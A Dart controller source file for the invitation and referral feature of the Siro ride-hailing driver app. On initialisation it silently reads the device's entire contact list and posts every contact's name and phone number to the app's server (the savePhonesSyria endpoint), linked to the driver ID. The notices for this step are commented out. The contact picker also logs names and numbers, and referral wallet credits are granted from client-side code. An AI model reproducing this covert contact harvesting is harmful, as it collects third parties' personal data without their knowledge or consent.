Files
Siro/siro_driver/lib/controller/auth/captin/invit_controller.dart
2026-06-11 18:22:59 +03:00

569 lines
22 KiB
Dart
Executable File

import 'package:siro_driver/constant/currency.dart';
import 'dart:convert';
import 'dart:developer';
import 'package:flutter/material.dart';
import 'package:flutter_contacts/contact.dart';
import 'package:flutter_contacts/flutter_contacts.dart';
import 'package:get/get.dart';
import 'package:local_auth/local_auth.dart';
import 'package:siro_driver/constant/box_name.dart';
import 'package:siro_driver/constant/links.dart';
import 'package:siro_driver/controller/functions/crud.dart';
import 'package:siro_driver/controller/home/payment/captain_wallet_controller.dart';
import 'package:siro_driver/print.dart';
import 'package:siro_driver/controller/functions/country_logic.dart';
import 'package:siro_driver/main.dart';
import 'package:siro_driver/views/widgets/error_snakbar.dart';
import 'package:siro_driver/views/widgets/mydialoug.dart';
import 'package:share_plus/share_plus.dart';
import '../../firebase/local_notification.dart';
import '../../functions/launch.dart';
import '../../notification/notification_captain_controller.dart';
class InviteController extends GetxController {
final TextEditingController invitePhoneController = TextEditingController();
List driverInvitationData = [];
List driverInvitationDataToPassengers = [];
String? couponCode;
String? driverCouponCode;
// **FIX**: Added the missing 'contacts' and 'contactMaps' definitions.
List<Contact> contacts = [];
RxList<Map<String, dynamic>> contactMaps = <Map<String, dynamic>>[].obs;
int selectedTab = 0;
PassengerStats passengerStats = PassengerStats();
void updateSelectedTab(int index) {
selectedTab = index;
update();
}
Future<void> shareDriverCode() async {
if (driverCouponCode != null) {
final String shareText =
'''Join Siro as a driver using my referral code!
Use code: $driverCouponCode
Download the Siro Driver app now and earn rewards!
''';
await Share.share(shareText);
}
}
Future<void> sharePassengerCode() async {
if (couponCode != null) {
final String shareText = '''Get a discount on your first Siro ride!
Use my referral code: $couponCode
Download the Siro app now and enjoy your ride!
''';
await Share.share(shareText);
}
}
@override
void onInit() {
super.onInit();
// **MODIFIED**: Sync contacts automatically on controller initialization.
syncContactsToServerOnce();
// fetchDriverStats();
}
// --- NEW LOGIC: ONE-TIME CONTACTS SYNC ---
/// **NEW**: Syncs all phone contacts to the server, but only runs once per user.
Future<void> syncContactsToServerOnce() async {
final String syncFlagKey = 'contactsSynced_${box.read(BoxName.driverID)}';
// 1. Check if contacts have already been synced for this user.
if (box.read(syncFlagKey) == true) {
print("Contacts have already been synced for this user.");
return;
}
try {
// 2. Request permission and fetch all contacts.
if (await FlutterContacts.requestPermission(readonly: true)) {
// mySnackbarSuccess('Starting contacts sync in background...'.tr);
final List<Contact> allContacts =
await FlutterContacts.getContacts(withProperties: true);
// **FIX**: Assign fetched contacts to the class variable.
contacts = allContacts;
contactMaps.value = contacts.map((contact) {
return {
'name': contact.displayName,
'phones':
contact.phones.map((phone) => phone.normalizedNumber).toList(),
'emails': contact.emails.map((email) => email.address).toList(),
};
}).toList();
update();
// 3. Loop through contacts and save them to the server.
for (var contact in allContacts) {
if (contact.phones.isNotEmpty) {
// Use the normalized phone number for consistency.
var phone = contact.phones.first.normalizedNumber;
if (phone.isNotEmpty) {
CRUD().post(link: AppLink.savePhonesSyria, payload: {
"driverId": box.read(BoxName.driverID), // Associate with driver
"name": contact.displayName ?? 'No Name',
"phone": phone,
});
}
}
}
// 4. After a successful sync, set the flag to prevent future syncs.
await box.write(syncFlagKey, true);
// mySnackbarSuccess('Contacts sync completed successfully!'.tr);
}
} catch (e) {
// mySnackeBarError('An error occurred during contact sync: $e'.tr);
}
}
// --- NEW LOGIC: NATIVE CONTACT PICKER ---
/// **MODIFIED**: This function now opens the phone's native contact picker.
Future<void> pickContactFromNativeApp() async {
try {
log('=== START: FETCHING ALL CONTACTS FOR BOTTOM SHEET ===',
name: 'ContactPicker');
if (await FlutterContacts.requestPermission(readonly: true)) {
// عرض شاشة تحميل بسيطة ريثما يتم جلب الأسماء
Get.dialog(const Center(child: CircularProgressIndicator()),
barrierDismissible: false);
log('Permission granted. Calling FlutterContacts.getContacts()...',
name: 'ContactPicker');
// جلب جميع جهات الاتصال إجبارياً من الصفر مع خصائصها
List<Contact> allContacts =
await FlutterContacts.getContacts(withProperties: true);
log('Total Contacts Fetched from Device: ${allContacts.length}',
name: 'ContactPicker');
// فصل الأسماء لمعرفة الخلل
List<Contact> validContacts = [];
List<Contact> invalidContacts = [];
for (var c in allContacts) {
if (c.phones.isNotEmpty) {
validContacts.add(c);
} else {
invalidContacts.add(c);
}
}
log('Contacts WITH phone numbers: ${validContacts.length}',
name: 'ContactPicker');
log('Contacts WITHOUT phone numbers: ${invalidContacts.length}',
name: 'ContactPicker');
// طباعة أول 20 اسم صالح
log('--- Sample of VALID Contacts ---', name: 'ContactPicker');
for (int i = 0; i < validContacts.length && i < 20; i++) {
log('[$i] Name: ${validContacts[i].displayName}, Phone: ${validContacts[i].phones.first.number}',
name: 'ContactPicker');
}
// طباعة أول 20 اسم غير صالح (بدون أرقام) لفحص المشكلة
log('--- Sample of INVALID Contacts (No Phone) ---',
name: 'ContactPicker');
for (int i = 0; i < invalidContacts.length && i < 20; i++) {
log('[$i] Name: ${invalidContacts[i].displayName}',
name: 'ContactPicker');
}
Get.back(); // إغلاق شاشة التحميل
if (validContacts.isEmpty) {
mySnackeBarError('No contacts with phone numbers found'.tr);
return;
}
// متغيرات للبحث داخل القائمة المنسدلة
RxList<Contact> filteredContacts = validContacts.obs;
TextEditingController searchController = TextEditingController();
// دالة لتنظيف النصوص من أي رموز معطوبة
String sanitizeText(String input) {
if (input.isEmpty) return '';
return input
.replaceAll(
RegExp(r'[^\x00-\x7F\u0600-\u06FF\u08A0-\u08FF\p{L}\p{N}\s]'),
'')
.trim();
}
// فتح دليل هاتف مخصص داخل التطبيق
Get.bottomSheet(
Container(
height: Get.height * 0.85,
decoration: BoxDecoration(
color: Theme.of(Get.context!).scaffoldBackgroundColor,
borderRadius:
const BorderRadius.vertical(top: Radius.circular(20)),
),
child: Column(
children: [
Container(
margin: const EdgeInsets.only(top: 10, bottom: 10),
width: 50,
height: 5,
decoration: BoxDecoration(
color: Colors.grey[400],
borderRadius: BorderRadius.circular(10)),
),
Text("Select a Contact".tr,
style: const TextStyle(
fontSize: 18, fontWeight: FontWeight.bold)),
Padding(
padding: const EdgeInsets.all(12.0),
child: TextField(
controller: searchController,
decoration: InputDecoration(
hintText: "Search name or number...".tr,
prefixIcon: const Icon(Icons.search),
border: OutlineInputBorder(
borderRadius: BorderRadius.circular(10)),
contentPadding: const EdgeInsets.symmetric(vertical: 0),
),
onChanged: (value) {
filteredContacts.value = validContacts.where((c) {
final nameMatch = c.displayName
.toLowerCase()
.contains(value.toLowerCase());
final phoneMatch =
c.phones.first.number.contains(value);
return nameMatch || phoneMatch;
}).toList();
},
),
),
Expanded(
child: Obx(() => ListView.builder(
itemCount: filteredContacts.length,
itemBuilder: (context, index) {
Contact c = filteredContacts[index];
var firstPhone = c.phones.first;
String selectedPhone =
firstPhone.normalizedNumber.isNotEmpty
? firstPhone.normalizedNumber
: firstPhone.number;
String safeName = sanitizeText(c.displayName);
if (safeName.isEmpty) safeName = 'Unknown'.tr;
String safePhone = sanitizeText(selectedPhone);
String initial = safeName.isNotEmpty
? safeName[0].toUpperCase()
: '?';
return ListTile(
leading: CircleAvatar(
backgroundColor:
Colors.blueAccent.withOpacity(0.1),
child: Text(initial,
style: const TextStyle(
color: Colors.blueAccent)),
),
title: Text(safeName),
subtitle: Text(safePhone,
textDirection: TextDirection.ltr),
onTap: () {
selectPhone(selectedPhone);
},
);
},
)),
),
],
),
),
isScrollControlled: true,
);
} else {
log('Permission DENIED', name: 'ContactPicker');
mySnackeBarError('Contact permission is required to pick contacts'.tr);
}
} catch (e) {
if (Get.isDialogOpen ?? false) Get.back();
log('CRITICAL ERROR: $e', name: 'ContactPicker');
mySnackeBarError('An error occurred while loading contacts: $e'.tr);
}
log('=== END: FETCHING CONTACTS ===', name: 'ContactPicker');
}
/// **FIX**: Added the missing 'selectPhone' method.
void selectPhone(String phone) {
// Format the selected phone number and update the text field.
invitePhoneController.text = CountryLogic.formatCurrentCountryPhone(phone);
update();
Get.back(); // Close the contacts dialog after selection.
}
void fetchDriverStats() async {
try {
var response = await CRUD().get(link: AppLink.getInviteDriver, payload: {
"driverId": box.read(BoxName.driverID),
});
if (response != 'failure') {
var data = jsonDecode(response);
driverInvitationData = data['message'];
update();
}
} catch (e) {
// Handle error gracefully
}
}
void fetchDriverStatsPassengers() async {
try {
var response = await CRUD()
.get(link: AppLink.getDriverInvitationToPassengers, payload: {
"driverId": box.read(BoxName.driverID),
});
if (response != 'failure') {
var data = jsonDecode(response);
driverInvitationDataToPassengers = data['message'];
update();
}
} catch (e) {
// Handle error gracefully
}
}
void onSelectDriverInvitation(int index) async {
MyDialog().getDialog(
int.parse((driverInvitationData[index]['countOfInvitDriver'])) < 100
? '${'When'.tr} ${(driverInvitationData[index]['invitorName'])} ${"complete, you can claim your gift".tr} '
: 'You deserve the gift'.tr,
'${(driverInvitationData[index]['invitorName'])} ${(driverInvitationData[index]['countOfInvitDriver'])} / 100 ${'Trip'.tr}',
() async {
bool isAvailable = await LocalAuthentication().isDeviceSupported();
if (int.parse((driverInvitationData[index]['countOfInvitDriver'])) <
100) {
Get.back();
} else if (isAvailable) {
bool didAuthenticate = await LocalAuthentication().authenticate(
localizedReason: 'Use Touch ID or Face ID to confirm payment',
// options: const AuthenticationOptions(
biometricOnly: true,
sensitiveTransaction: true,
);
if (didAuthenticate) {
if ((driverInvitationData[index]['isGiftToken']).toString() ==
'0') {
Get.back();
// Server-side claim validation
var response = await CRUD().post(
link: AppLink.claimInviteReward,
payload: {
'invite_id': (driverInvitationData[index]['id']).toString(),
'driver_id': box.read(BoxName.driverID).toString(),
'country_code': box.read(BoxName.countryCode).toString(),
}
);
if (response != 'failure') {
var data = jsonDecode(response);
if (data['status'] == 'success') {
NotificationController().showNotification(
"You have got a gift for invitation".tr,
'${"You have 500".tr} ${CurrencyHelper.currency}',
'tone1',
'');
// refresh stats
fetchDriverStats();
} else {
mySnackeBarError(data['message'] ?? 'Claim failed'.tr);
}
}
} else {
Get.back();
MyDialog().getDialog("You have got a gift".tr,
"Share the app with another new driver".tr, () => Get.back());
}
} else {
MyDialog()
.getDialog('Authentication failed'.tr, '', () => Get.back());
}
} else {
MyDialog().getDialog(
'Biometric Authentication'.tr,
'You should use Touch ID or Face ID to confirm payment'.tr,
() => Get.back());
}
},
);
}
void onSelectPassengerInvitation(int index) async {
bool isAvailable = await LocalAuthentication().isDeviceSupported();
MyDialog().getDialog(
int.parse(driverInvitationDataToPassengers[index]['countOfInvitDriver']
.toString()) <
3
? '${'When'.tr} ${(driverInvitationDataToPassengers[index]['passengerName'].toString())} ${"complete, you can claim your gift".tr} '
: 'You deserve the gift'.tr,
'${(driverInvitationDataToPassengers[index]['passengerName'].toString())} ${driverInvitationDataToPassengers[index]['countOfInvitDriver']} / 3 ${'Trip'.tr}',
() async {
if (int.parse(driverInvitationDataToPassengers[index]
['countOfInvitDriver']
.toString()) <
3) {
Get.back();
} else if (isAvailable) {
bool didAuthenticate = await LocalAuthentication().authenticate(
localizedReason: 'Use Touch ID or Face ID to confirm payment',
// options: const AuthenticationOptions(
biometricOnly: true,
sensitiveTransaction: true,
);
if (didAuthenticate) {
if (driverInvitationDataToPassengers[index]['isGiftToken']
.toString() ==
'0') {
Get.back();
await Get.find<CaptainWalletController>()
.addDriverWallet('paymentMethod', '200', '200');
await Get.find<CaptainWalletController>()
.addDriverWalletToInvitor('paymentMethod',
driverInvitationData[index]['driverInviterId'], '200');
await CRUD().post(
link: AppLink.updatePassengerGift,
payload: {'id': driverInvitationDataToPassengers[index]['id']},
);
NotificationCaptainController().addNotificationCaptain(
driverInvitationDataToPassengers[index]['passengerInviterId']
.toString(),
"You have got a gift for invitation".tr,
'${"You have 200".tr} ${CurrencyHelper.currency}',
false,
);
} else {
Get.back();
MyDialog().getDialog(
"You have got a gift".tr,
"Share the app with another new passenger".tr,
() => Get.back(),
);
}
} else {
MyDialog()
.getDialog('Authentication failed'.tr, '', () => Get.back());
}
} else {
MyDialog().getDialog(
'Biometric Authentication'.tr,
'You should use Touch ID or Face ID to confirm payment'.tr,
() => Get.back());
}
},
);
}
// removed normalizeSyrianPhone
/// Sends an invitation to a potential new driver.
void sendInvite() async {
if (invitePhoneController.text.isEmpty) {
mySnackeBarError('Please enter a phone number'.tr);
return;
}
String formattedPhoneNumber =
CountryLogic.formatCurrentCountryPhone(invitePhoneController.text);
if (formattedPhoneNumber.length != 12) {
mySnackeBarError('Please enter a correct phone'.tr);
return;
}
var response = await CRUD().post(link: AppLink.addInviteDriver, payload: {
"driverId": box.read(BoxName.driverID),
"inviterDriverPhone": formattedPhoneNumber,
});
if (response != 'failure') {
var d = (response);
mySnackbarSuccess('Invite sent successfully'.tr);
String message = '${'*Siro DRIVER CODE*'.tr}\n\n'
'${"Use this code in registration".tr}\n'
'${"To get a gift for both".tr}\n\n'
'${"The period of this code is 24 hours".tr}\n\n'
'${'before'.tr} *${d['message']['expirationTime'].toString()}*\n\n'
'_*${d['message']['inviteCode'].toString()}*_\n\n'
'${"Install our app:".tr}\n'
'*Android:* https://play.google.com/store/apps/details?id=com.siro_driver \n\n\n'
'*iOS:* https://apps.apple.com/st/app/siro-driver/id6482995159';
launchCommunication('whatsapp', formattedPhoneNumber, message);
invitePhoneController.clear();
} else {
mySnackeBarError("Invite code already used".tr);
}
}
/// Sends an invitation to a potential new passenger.
void sendInviteToPassenger() async {
if (invitePhoneController.text.isEmpty) {
mySnackeBarError('Please enter a phone number'.tr);
return;
}
String formattedPhoneNumber = CountryLogic.formatCurrentCountryPhone(invitePhoneController.text);
if (formattedPhoneNumber.length < 12) {
// +963 + 9 digits = 12+
mySnackeBarError('Please enter a correct phone'.tr);
return;
}
var response = await CRUD().post(
link: AppLink.addInvitationPassenger,
payload: {
"driverId": box.read(BoxName.driverID),
"inviterPassengerPhone": formattedPhoneNumber,
},
);
if (response != 'failure') {
var d = response;
mySnackbarSuccess('Invite sent successfully'.tr);
String message = '${'*Siro APP CODE*'.tr}\n\n'
'${"Use this code in registration".tr}\n\n'
'${"To get a gift for both".tr}\n\n'
'${"The period of this code is 24 hours".tr}\n\n'
'${'before'.tr} *${d['message']['expirationTime'].toString()}*\n\n'
'_*${d['message']['inviteCode'].toString()}*_\n\n'
'${"Quick Invite Link:".tr}\n'
'https://${AppLink.appDomain}/?inviteCode=${d['message']['inviteCode'].toString()}\n\n'
'${"Install our app:".tr}\n'
'*Android:* https://play.google.com/store/apps/details?id=com.Siro.siro\n\n\n'
'*iOS:* https://apps.apple.com/st/app/siro-rider/id6748075179';
launchCommunication('whatsapp', formattedPhoneNumber, message);
invitePhoneController.clear();
} else {
mySnackeBarError("Invite code already used".tr);
}
}
}
class PassengerStats {
final int totalInvites;
final int activeUsers;
final double totalEarnings;
PassengerStats({
this.totalInvites = 0,
this.activeUsers = 0,
this.totalEarnings = 0.0,
});
}